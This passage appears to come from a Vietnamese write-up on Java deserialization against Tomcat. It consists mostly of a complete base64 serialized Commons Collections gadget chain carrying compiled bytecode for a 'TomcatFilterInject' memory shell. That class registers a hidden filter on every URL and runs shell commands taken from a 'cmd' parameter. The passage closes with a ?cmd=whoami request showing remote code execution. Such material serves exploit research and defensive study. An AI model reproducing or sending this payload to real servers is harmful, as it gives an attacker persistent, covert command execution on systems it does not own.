CcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gBAAVjbG9zZQEAD3ByaW50U3RhY2tUcmFjZQAhAB4AHwAAAAAABAABACAAIQABACIAAAAvAAEAAQAAAAUqtwABsQAAAAIAIwAAAAYAAQAAAA0AJAAAAAwAAQAAAAUAJQAmAAAAAQAnACgAAgAiAAAAPwAAAAMAAAABsQAAAAIAIwAAAAYAAQAAAD0AJAAAACAAAwAAAAEAJQAmAAAAAAABACkAKgABAAAAAQArACwAAgAtAAAABAABAC4AAQAnAC8AAgAiAAAASQAAAAQAAAABsQAAAAIAIwAAAAYAAQAAAEIAJAAAACoABAAAAAEAJQAmAAAAAAABACkAKgABAAAAAQAwADEAAgAAAAEAMgAzAAMALQAAAAQAAQAuAAgANAAhAAEAIgAAAd0ABAAHAAAA0BICuAADEgS2AAVLEgYSB7YABUwSBhIItgAFTRIJEgq2AAVOLQS2AAstKiq2AAwQ7362AA4tKyu2AAwQ7362AA4tLCy2AAwQ7362AA4qBLYACysEtgALLAS2AAsqAbYAD5oACSoBBLYAECsBtgARxwAPKwG7ABJZtwATtgAULAG2ABHHAA8sAbsAElm3ABO2ABQsAbYAEcYAMSwBtgARwAASOgQZBLYAFcAAFjoFGQW5ABcBADoGGQYSGLYAGRkGtgAaGQa2ABunAAhLKrYAHbEAAQAAAMcAygAcAAMAIwAAAHIAHAAAABMACwAUABMAFQAbABcAIwAYACgAGQA0ABoAQAAbAEwAHABRAB0AVgAeAFsAIABjACEAaQAkAHEAJQB9ACgAhQApAJEALACZAC0AowAuAK0ALwC2ADAAvQAxAMIAMgDHADYAygA0AMsANQDPADcAJAAAAFIACACjACQANQA2AAQArQAaADcAOAAFALYAEQA5ADoABgALALwAOwA8AAAAEwC0AD0APAABABsArAA%2BADwAAgAjAKQAPwA8AAMAywAEAEAAQQAAAEIAAAAjAAb%2FAGkABAcAQwcAQwcAQwcAQwAAExP%2FADUAAAAAQgcARAQAAQBFAAAAAgBGcHQABWFoaWhpcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB%2BAC0%3D
  • Gửi payload deser để inject malicous Filter

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAMADWphdmEudXRpbC5NYXAAE2phdmEubGFuZy5DbG9uZWFibGUAFGphdmEuaW8uU2VyaWFsaXphYmxleHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3EAfgAAc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnR0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyAD5vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H%2BkhtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAYTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD%2F%2F%2F%2F%2FdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2BAYIVOACAAB4cAAAGuDK%2Frq%2BAAAANAE%2FCgBRALUHALYIALcKAD4AuAoAuQC6CgC5ALsHALwKAAcAvQcAvgsACQC%2FCACDCwAJAMAIAMELAMIAwwsAwgDECgDFAMYKAMUAxwoAyADJBwDKCgATAMsIAMwKABMAzQoAEwDOCgATAM8IANAKABMA0QoA0gDTCgDSANQKANIA0QcA1QoAHgDWBwDXCgAgANYLANgA2QoAKAC%2FCgBCANoIANsHANwHAN0HAN4KACgAtQgA3wcA4AoAKwC1CgArAOEKACsA4goAPgDjCgArAOQKACcA5QcA5goAMgC1CADnCgAyAOgKADIA4gkA6QDqCgDpAOsKADIA7AoAJwDtCAChBwDuBwDvBwDwBwDxCgA%2BAPIKAPMAugcA9AoA8wD1CwA8APYHAPcKAEUA1gcA%2BAoARwDWBwD5CgBJANYHAPoKAEsA1gcA%2BwoATQDWBwD8CgBPANYHAP0HAP4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExUb21jYXRGaWx0ZXJJbmplY3Q7AQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAYbGFzdFNlcnZpY2VkUmVxdWVzdEZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAC3RocmVhZExvY2FsAQAXTGphdmEvbGFuZy9UaHJlYWRMb2NhbDsBAA1TdGFja01hcFRhYmxlBwD%2FBwC8AQAKRXhjZXB0aW9ucwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAQABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAHc2Nhbm5lcgEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQABbgEAIExqYXZhL2xhbmcvTnVsbFBvaW50ZXJFeGNlcHRpb247AQAHcmVxdWVzdAEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEABWNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7BwDeBwC%2BBwEBBwECBwEDBwEEBwEFBwDKBwDVBwDXBwEGAQAIPGNsaW5pdD4BAA5zZXJ2bGV0Q29udGV4dAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAD2FwcENvbnRleHRGaWVsZAEAEmFwcGxpY2F0aW9uQ29udGV4dAEALUxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25Db250ZXh0OwEAFHN0YW5kYXJkQ29udGV4dEZpZWxkAQAPc3RhbmRhcmRDb250ZXh0AQAqTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7AQAGZmlsdGVyAQAEbmFtZQEACWZpbHRlckRlZgEAMUxvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZjsBAAlmaWx0ZXJNYXABADFMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXA7AQAHQ29uZmlncwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAAxmaWx0ZXJDb25maWcBADJMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uRmlsdGVyQ29uZmlnOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb247BwD3BwD4BwD5BwD6BwD7BwD8AQAKU291cmNlRmlsZQEAF1RvbWNhdEZpbHRlckluamVjdC5qYXZhDABTAFQBAC9vcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDaGFpbgEAE2xhc3RTZXJ2aWNlZFJlcXVlc3QMAQcBCAcA%2FwwBCQEKDAELAQwBABVqYXZhL2xhbmcvVGhyZWFkTG9jYWwMAQsBDQEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QMAFoAWwwBDgEPAQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwEBDAEQAREMARIBEwcBFAwBFQEWDAEXARgHARkMARoBGwEAEWphdmEvdXRpbC9TY2FubmVyDABTARwBAAJcQQwBHQEeDAEfASAMASEBIgEAAAwBIwBUBwEEDAEkAREMASUAVAEAE2phdmEvaW8vSU9FeGNlcHRpb24MASYAVAEAHmphdmEvbGFuZy9OdWxsUG9pbnRlckV4Y2VwdGlvbgcBAgwAcgEnDAEoASkBAAdjb250ZXh0AQArb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dAEAKG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQBABJUb21jYXRGaWx0ZXJJbmplY3QBAAtTaGVsbEZpbHRlcgEAL29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmDAEqASsMASwBEQwBLQEiDAEuAREMAS8BMAEAL29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwAQACLyoMATEBEQcBMgwBMwE0DACbASIMATUBEQwBNgE3AQANamF2YS91dGlsL01hcAEAMG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkZpbHRlckNvbmZpZwEAD2phdmEvbGFuZy9DbGFzcwEAG29yZy9hcGFjaGUvY2F0YWxpbmEvQ29udGV4dAwBOAE5BwE6AQAQamF2YS9sYW5nL09iamVjdAwBOwE8DAE9AT4BAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAOc2V0Q29udGVudFR5cGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAPcHJpbnRTdGFja1RyYWNlAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACXNldEZpbHRlcgEAGShMamF2YXgvc2VydmxldC9GaWx0ZXI7KVYBAA1zZXRGaWx0ZXJOYW1lAQAHZ2V0TmFtZQEADnNldEZpbHRlckNsYXNzAQAMYWRkRmlsdGVyRGVmAQA0KExvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZjspVgEADWFkZFVSTFBhdHRlcm4BABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEADXNldERpc3BhdGNoZXIBABJhZGRGaWx0ZXJNYXBCZWZvcmUBADQoTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwOylWAQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwAhACgAUQABAFIAAAAGAAEAUwBUAAEAVQAAAC8AAQABAAAABSq3AAGxAAAAAgBWAAAABgABAAAAEwBXAAAADAABAAAABQBYAFkAAAAJAFoAWwACAFUAAACZAAIAAwAAADISAhIDtgAESyoEtgAFKgG2AAbAAAdMK8YAGSu2AAjGABIrtgAIwAAJTSy5AAoBALABsAAAAAMAVgAAAB4ABwAAAEcACABIAA0ASQAWAEoAIQBLACkATAAwAE4AVwAAACAAAwApAAcAXABdAAIACAAqAF4AXwAAABYAHABgAGEAAQBiAAAACwAB%2FQAwBwBjBwBkAGUAAAAIAAMARwBFAEkAAQBmAGcAAgBVAAAAPwAAAAMAAAABsQAAAAIAVgAAAAYAAQAAAFQAVwAAACAAAwAAAAEAWABZAAAAAAABAGgAaQABAAAAAQBqAGsAAgBlAAAABAABAGwAAQBmAG0AAgBVAAAASQAAAAQAAAABsQAAAAIAVgAAAAYAAQAAAFkAVwAAACoABAAAAAEAWABZAAAAAAABAGgAaQABAAAAAQBuAG8AAgAAAAEAcABxAAMAZQAAAAQAAQBsAAEAcgBzAAIAVQAAAbUAAwAJAAAAgysSC7kADAIAOgQsEg25AA4CACy5AA8BADoFGQTGAF64ABAZBLYAEbYAEjoGuwATWRkGtwAUEhW2ABY6BxkHtgAXmQALGQe2ABinAAUSGToIGQe2ABoZBRkItgAbGQW2ABwZBbYAHacAFDoGGQa2AB%2BnAAo6BhkGtgAhLSssuQAiAwCxAAIAHwBmAGkAHgAfAGYAcwAgAAMAVgAAAE4AEwAAAFwACgBdABIAXgAaAF8AHwBhACwAYwA8AGQAUABlAFUAZgBcAGcAYQBoAGYAbQBpAGkAawBqAHAAbQBzAGsAdQBsAHoAbwCCAHAAVwAAAHAACwAsADoAdAB1AAYAPAAqAHYAdwAHAFAAFgB4AHkACABrAAUAegB7AAYAdQAFAHwAfQAGAAAAgwBYAFkAAAAAAIMAfgBdAAEAAACDAH8AgAACAAAAgwCBAIIAAwAKAHkAgwB5AAQAGgBpAIQAhQAFAGIAAABGAAX%2FAEwACAcAhgcAhwcAiAcAiQcAigcAiwcAjAcAjQAAQQcAiv8AGgAGBwCGBwCHBwCIBwCJBwCKBwCLAAEHAI5JBwCPBgBlAAAABgACAB4AkAAIAJEAVAABAFUAAAMFAAUADQAAASS4ACNLKrYAJBIltgAETCsEtgAFKyq2AAbAACZNLLYAJBIltgAETi0EtgAFLSy2AAbAACc6BLsAKFm3ACk6BRIqOga7ACtZtwAsOgcZBxkFtgAtGQcZBrYALhkHGQW2ACS2AC%2B2ADAZBBkHtgAxuwAyWbcAMzoIGQgSNLYANRkIGQa2ADYZCLIAN7YAOLYAORkEGQi2ADoZBLYAJBI7tgAEOgkZCQS2AAUZCRkEtgAGwAA8OgoSPQW9AD5ZAxI%2FU1kEEitTtgBAOgsZCwS2AEEZCwW9AEJZAxkEU1kEGQdTtgBDwAA9OgwZChkGGQy5AEQDAFenADBLKrYARqcAKEsqtgBIpwAgSyq2AEqnABhLKrYATKcAEEsqtgBOpwAISyq2AFCxAAYAAADzAPYARQAAAPMA%2FgBHAAAA8wEGAEkAAADzAQ4ASwAAAPMBFgBNAAAA8wEeAE8AAwBWAAAAtgAtAAAAFwAEABgADgAZABMAGgAcABsAJgAcACsAHQA1AB8APgAgAEIAIQBLACIAUgAjAFkAJABmACUAbQAnAHYAKAB9ACkAhAAqAI8AKwCWAC0AogAuAKgALwC0ADEAyQAyAM8AMwDnADQA8wBCAPYANgD3ADcA%2BwBCAP4AOAD%2FADkBAwBCAQYAOgEHADsBCwBCAQ4APAEPAD0BEwBCARYAPgEXAD8BGwBCAR4AQAEfAEEBIwBDAFcAAADAABMABADvAJIAkwAAAA4A5QCUAF8AAQAcANcAlQCWAAIAJgDNAJcAXwADADUAvgCYAJkABAA%2BALUAmgBZAAUAQgCxAJsAeQAGAEsAqACcAJ0ABwB2AH0AngCfAAgAogBRAKAAXwAJALQAPwChAKIACgDJACoAowCkAAsA5wAMAKUApgAMAPcABAB6AKcAAAD%2FAAQAegCoAAABBwAEAHoAqQAAAQ8ABAB6AKoAAAEXAAQAegCrAAABHwAEAHoArAAAAGIAAAAdAAf3APYHAK1HBwCuRwcAr0cHALBHBwCxRwcAsgQAAQCzAAAAAgC0cHQABWFoaWhpcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB%2BAC0%3D
  • RCE

http://localhost:8989/TomcatDeser2Memshell_war/?cmd=whoami

Refer

Last updated